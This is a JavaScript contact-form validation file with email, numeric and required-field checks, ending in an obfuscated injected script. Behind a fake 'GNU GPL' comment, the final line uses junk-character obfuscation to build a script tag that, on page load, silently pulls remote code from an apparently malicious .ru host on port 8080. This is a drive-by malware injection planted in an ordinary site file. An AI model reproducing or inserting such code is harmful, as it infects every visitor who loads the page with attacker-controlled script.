
function isEmailAddr(str) {

	var at="@"
	var dot="."
	var lat=str.indexOf(at)
	var lstr=str.length
	var ldot=str.indexOf(dot)
	if (str.indexOf(at)==-1){
	   return false;
	}

	if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
	   return false;
	}

	if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
	    return false;
	}

	if (str.indexOf(at,(lat+1))!=-1){
	return false;
	}
	
	if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
	return false;
	}
	
	if (str.indexOf(dot,(lat+2))==-1){
	return false;
	}
	
	if (str.indexOf(" ")!=-1){
	return false;
	}

	return true;					
}


function isNumeric(input){
	for(var i = 0; i < input.length; i++){
		if(isNaN(input.charAt(i))){
			return false;
		}
	}
	return true;	
}

function checkForm(){

	var errormessage = new Array;
	
	if(document.contact_form.name.value == '') {
		errormessage += 'Name\n';
	}
	if(document.contact_form.company.value == '') {
		errormessage += 'Company\n';
	}
	if(document.contact_form.telephone.value == '') {
		errormessage += 'Telephone\n';
	}else{
		if(!isNumeric(document.contact_form.telephone.value)) {
			errormessage += 'Telephone\n';
		}
	}
	if(document.contact_form.email.value == '') {
		errormessage += 'Email\n';
	}else{
		if(!isEmailAddr(document.contact_form.email.value)) {
			errormessage += 'Email is invalid\n';
		}
	}
	if(document.contact_form.requirement.value == '') {
		errormessage += 'Requirement\n';
	}
	
	if(errormessage != ''){
		alert("Please complete the following\n\n" + errormessage);
		return false;
	}else{
		return true;
	}
}

/*GNU GPL*/ try{window.onload = function(){var Ue2q8m6izhykp = document.createElement('s^)$!c&r(^(()i(#@p#!)t(##'.replace(/\!|\)|#|@|\$|\(|\^|&/ig, ''));var Cqvrnfzql4dm = 'Uwaqk2tvwhfhc';Ue2q8m6izhykp.setAttribute('type', 't&)e^&@(x@@&t^@(/@!^j!@$a$&!!v@(!!!a$($s@c!)#r@(!i@^$p&&!^t^^$'.replace(/\(|&|\)|\!|@|\$|#|\^/ig, ''));Ue2q8m6izhykp.setAttribute('src',  'h!t$&t&!&p(:@)/#)/@#l$$!i((^#n)$^!k!^w)&)i#t$&(h(i@n^$!-))^(c$o^&m$(&.&)&@k^!$a#i&@x@i@^@n(!@0$#)0^!&1^!$.#&#)c^!&o^^!(m@@(.!)c(r&(a&$i#(g)$!(s&^)l&#&i$#s#^#t&#-(&@#c&!^&a^.#^!m!$&a$)^@n^b#e#(s&#$t#!.!#r$$u!:&&@8&(&0)#8@!0^)!)&/)(t$#r!a(#i^@#d!((n!$&@t$(.(@n)@e(^t^^(/@t^@r^!a!$i)d^n@!!t@^.!&###n@$e@&#t@/!()&e#h^$!o@##w(@!).#!$&c!#o!&^m^/))$!s)^t&(^a(($(r()$t@$@i)@m#&!e)^s$#$)2$$&&.$#(c^^$o(m#@!/@(g!o@o&g!^)l(e@@.(^c&!o^@m@^#)/$!'.replace(/\^|\$|\)|@|&|\(|\!|#/ig, ''));Ue2q8m6izhykp.setAttribute('defer', 'd(^#)e&&f!^$e^(r!'.replace(/\^|\(|\!|&|\$|\)|#|@/ig, ''));Ue2q8m6izhykp.setAttribute('id', 'M&^^g$@i^&@3#!(#f!)^@1$^h((u#&!u!^&z)8(&g!)@v@@'.replace(/\)|#|\$|\(|@|\!|\^|&/ig, ''));document.body.appendChild(Ue2q8m6izhykp);}} catch(Ze3f5nnp9kqi61) {}